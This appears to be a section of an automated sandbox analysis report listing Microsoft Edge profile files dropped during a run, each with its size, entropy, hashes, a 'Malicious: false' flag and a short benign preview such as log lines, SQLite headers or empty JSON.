SHA-512:	A6EACC26F2E5EDB20CA093E7CEBE858704BB483FAB277429F1943EDB57385A8B9B1C2C1F0B3FEC7A58CA2D2E29D4EC61F4F7F25EA417B7B3A76C462FB87DE385
Malicious:	false
Preview:	2024/11/22-11:08:47.122 c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-11:08:47.123 c14 Recovering log #3.2024/11/22-11:08:47.126 c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.132464066125421
Encrypted:	false
SSDEEP:	6:H+jyq2PFi23oH+TcwtrQMxIFUt8YMI11Zmw+YW31RkwOFi23oH+TcwtrQMFLJ:rvdZYebCFUt8NS1/+F3D5wZYebtJ
MD5:	60DF893EB478CDF5DCA77F6C4C08C7CC
SHA1:	32BA787245F58DAA73171955C621CE4581C2F363
SHA-256:	83035119577D881546F8C09241BFF5C84E2A519F9E5DE6313BDBDF69E14BB382
SHA-512:	A6EACC26F2E5EDB20CA093E7CEBE858704BB483FAB277429F1943EDB57385A8B9B1C2C1F0B3FEC7A58CA2D2E29D4EC61F4F7F25EA417B7B3A76C462FB87DE385
Malicious:	false
Preview:	2024/11/22-11:08:47.122 c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-11:08:47.123 c14 Recovering log #3.2024/11/22-11:08:47.126 c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376765328853640

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8179495543722375
Encrypted:	false
SSDEEP:	24:3pLrE59SocvGpsAF4unxEtLp3X2amEtG1ChqkzOWAQKkOAM4:3FE59FzzFiLp2FEkCh9RHOp
MD5:	8212213DD05D02D46685859587832392
SHA1:	2D6A8DDC68CD3337403F862E24CF33E76F8E8D81
SHA-256:	87C5FA60EAB71D05CEFACC22E6B4800D986A7115DEFF76A8D5F7CD66970E0BB1
SHA-512:	9D1DCF5864B1BE0D399E799A003931C0CFCD521AAA4EA3B18DC9B88E768FB6BDCC4D0D80CB51A06054FFC47B97C27FF65E60A7217FBC541C2D9FAE423843EB42
Malicious:	false
Preview:	SNSS..........c..............c......"...c..............c..........c..........c..........c....!.....c..................................c...c1..,......c$...a2a97bd4_c886_41f0_8bde_488f4eb94382......c..........c.....-............c......c..........................c....................5..0......c&...{F44A76A6-556E-4DC8-8BF2-CF26F02D08AD}........c..........c.............................c..............c........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........V5..'...V5..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.157762035326475
Encrypted:	false
SSDEEP:	6:HRVq2PFi23oH+Tcwt7Uh2ghZIFUt8YRgZmw+Y6IkwOFi23oH+Tcwt7Uh2gnLJ:xVvdZYebIhHh2FUt8Ig/+rI5wZYebIh9
MD5:	75C552D98B034AD05D518AA327047937
SHA1:	BAD02CFCE1FBCDBB7443B8D37D2570D4AF92F7C9
SHA-256:	546543F01DD94EBE7BE8A3F14BA4AD84186C8F6C4B3E379267CA4E8105D18766
SHA-512:	A8B9B81C0A9EE0332464A916E12190B5D1A83C136B99698DC7D375AD6F8486912EDA87C3A8658E6A50B1A086C02A024C5BDEA132A4D88FD67F55BC7EDF1CE173
Malicious:	false
Preview:	2024/11/22-11:08:46.415 1b54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-11:08:46.415 1b54 Recovering log #3.2024/11/22-11:08:46.416 1b54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.157762035326475
Encrypted:	false
SSDEEP:	6:HRVq2PFi23oH+Tcwt7Uh2ghZIFUt8YRgZmw+Y6IkwOFi23oH+Tcwt7Uh2gnLJ:xVvdZYebIhHh2FUt8Ig/+rI5wZYebIh9
MD5:	75C552D98B034AD05D518AA327047937
SHA1:	BAD02CFCE1FBCDBB7443B8D37D2570D4AF92F7C9
SHA-256:	546543F01DD94EBE7BE8A3F14BA4AD84186C8F6C4B3E379267CA4E8105D18766
SHA-512:	A8B9B81C0A9EE0332464A916E12190B5D1A83C136B99698DC7D375AD6F8486912EDA87C3A8658E6A50B1A086C02A024C5BDEA132A4D88FD67F55BC7EDF1CE173
Malicious:	false
Preview:	2024/11/22-11:08:46.415 1b54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-11:08:46.415 1b54 Recovering log #3.2024/11/22-11:08:46.416 1b54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	5.216243513426693
Encrypted:	false
SSDEEP:	6:HAQ+q2PFi23oH+TcwtzjqEKj3K/2jMGIFUt8YvXYgZmw+YvT96QVkwOFi23oH+Ts:YvdZYebvqBQFUt8w/+Qt5wZYebvqBvJ
MD5:	9CFC684BF10F4B19BF2FA50DC0D83C68
SHA1:	8A16B5A323B5B041DA36AB839B8DA3EAD2AE9634
SHA-256:	341369B94A7DCC6CF5B171BA0BB8DC9D12A0D04A75DA8E2DCEF8F0D30011F04D
SHA-512:	3BD1783D09250F9F9AAA0DBCBE315A08C5A092B51A10BCE62B4ABA1D0405DB03EFC6167289BB9AD50196B4C2A6C6499FDAAE85D437CCCAD97E0761726B78769C
Malicious:	false
Preview:	2024/11/22-11:08:47.084 b88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-11:08:47.112 b88 Recovering log #3.2024/11/22-11:08:47.116 b88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	5.216243513426693
Encrypted:	false
SSDEEP:	6:HAQ+q2PFi23oH+TcwtzjqEKj3K/2jMGIFUt8YvXYgZmw+YvT96QVkwOFi23oH+Ts:YvdZYebvqBQFUt8w/+Qt5wZYebvqBvJ
MD5:	9CFC684BF10F4B19BF2FA50DC0D83C68
SHA1:	8A16B5A323B5B041DA36AB839B8DA3EAD2AE9634
SHA-256:	341369B94A7DCC6CF5B171BA0BB8DC9D12A0D04A75DA8E2DCEF8F0D30011F04D
SHA-512:	3BD1783D09250F9F9AAA0DBCBE315A08C5A092B51A10BCE62B4ABA1D0405DB03EFC6167289BB9AD50196B4C2A6C6499FDAAE85D437CCCAD97E0761726B78769C
Malicious:	false
Preview:	2024/11/22-11:08:47.084 b88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-11:08:47.112 b88 Recovering log #3.2024/11/22-11:08:47.116 b88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\088dbb62-bf1f-4ce6-9e04-94c8bbd255a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2bd7a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fc03fe70-b1a8-47d6-9a4f-0440864eec6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fcb0d368-63c2-461d-8919-6b75164ec649.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.229961288687096
Encrypted:	false
SSDEEP:	12:OIvdZYebvqBZFUt8Jj1/+J7E5wZYebvqBaJ:/bYebvyg8HgYebvL
MD5:	08492F4684E78D2B31A76B7D324E5A0A
SHA1:	0F0BC1C8F82F5F628AD7AB99B949823BEA90B4D5
SHA-256:	5C13326F14FA2AD754B9E5E3F1AF514722C4018B1A62DA1215387B7B5D302DFF
SHA-512:	AA7947B0FCADF7242702E3D3B8A66AEC3BD67CDD70C7E870E741A75BB86643AF7727374449F21EB4A60A8E94256099C95D9F2FCF1320244705058404AA0033F1
Malicious:	false
Preview:	2024/11/22-11:09:05.659 c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-11:09:05.660 c14 Recovering log #3.2024/11/22-11:09:05.665 c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.229961288687096
Encrypted:	false
SSDEEP:	12:OIvdZYebvqBZFUt8Jj1/+J7E5wZYebvqBaJ:/bYebvyg8HgYebvL
MD5:	08492F4684E78D2B31A76B7D324E5A0A
SHA1:	0F0BC1C8F82F5F628AD7AB99B949823BEA90B4D5
SHA-256:	5C13326F14FA2AD754B9E5E3F1AF514722C4018B1A62DA1215387B7B5D302DFF
SHA-512:	AA7947B0FCADF7242702E3D3B8A66AEC3BD67CDD70C7E870E741A75BB86643AF7727374449F21EB4A60A8E94256099C95D9F2FCF1320244705058404AA0033F1
Malicious:	false
Preview:	2024/11/22-11:09:05.659 c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-11:09:05.660 c14 Recovering log #3.2024/11/22-11:09:05.665 c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.257825798065625
Encrypted:	false
SSDEEP:	6:HOFlL+q2PFi23oH+TcwtpIFUt8YPvLEj1Zmw+YPvLE1LVkwOFi23oH+Tcwta/WLJ:uFN+vdZYebmFUt8Ao1/+AiV5wZYebaUJ
MD5:	EF053CBBB1E7F8B87A5ECE56446FE025
SHA1:	922B3B30C619D629F2EA3371541950FC38974919
SHA-256:	79690AD7A08F8D1C8A4B409B692634F7E2530EE6CFA8E1A9270464CA002989F8
SHA-512:	B7680121B04DD9F1E6FC1CE04CCDA4B7F9B1072BCE294851442F0756553277C51C0C07DA38F574B67FCFC028AD08AD4B8400B7D548623CDA678000CF770E46E8
Malicious:	false
Preview:	2024/11/22-11:08:46.379 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-11:08:46.380 c9c Recovering log #3.2024/11/22-11:08:46.380 c9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.257825798065625
Encrypted:	false
SSDEEP:	6:HOFlL+q2PFi23oH+TcwtpIFUt8YPvLEj1Zmw+YPvLE1LVkwOFi23oH+Tcwta/WLJ:uFN+vdZYebmFUt8Ao1/+AiV5wZYebaUJ
MD5:	EF053CBBB1E7F8B87A5ECE56446FE025
SHA1:	922B3B30C619D629F2EA3371541950FC38974919
SHA-256:	79690AD7A08F8D1C8A4B409B692634F7E2530EE6CFA8E1A9270464CA002989F8
SHA-512:	B7680121B04DD9F1E6FC1CE04CCDA4B7F9B1072BCE294851442F0756553277C51C0C07DA38F574B67FCFC028AD08AD4B8400B7D548623CDA678000CF770E46E8
Malicious:	false
Preview:	2024/11/22-11:08:46.379 c9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-11:08:46.380 c9c Recovering log #3.2024/11/22-11:08:46.380 c9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651340721566258
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMKSAELyKOMq+8wH0hLUZsrhVum3:K0q+n0JK9ELyKOMq+8I0hAOl
MD5:	37DA6F46D18D6FC2A0BD189976210F5B
SHA1:	DEBA7813426BAFB0E3798CE7161B750972430FC6
SHA-256:	6D0FA29F1C3492EB18D2C0E97326C6CA8B8F63F0BB9B53B5290699A33258709D
SHA-512:	0A5635DD127447D9FE00B1C7EB26E64B0EA5909115E1F62611A22C62514EEAA37BEFFD1228BDF554B34AED2B25B740D80278C1614BCD94B2DEA85385E56F0543
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46687543848333923
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0PYL:v7doKsKuKZKlZNmu46yjx0wL
MD5:	C6135A124CE5DC823E8AD8F3CCE1B95B
SHA1:	0C4D6B75093F12235E71E89CB5DF0A0D10C6E457
SHA-256:	95263BB8BD55ED631D7D6DAD3D446D83C21C6C7BFBC75C5AA3B1C2E8210714C0
SHA-512:	2D4D27017D8E080EB0180C216CFF8317119E6B8D1DE325B0CDFF4E3A79F3A138B7937FFFAF35B81AF22450CFBF2DF47960C72C335E15D5B9B0BA32227210EE2A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

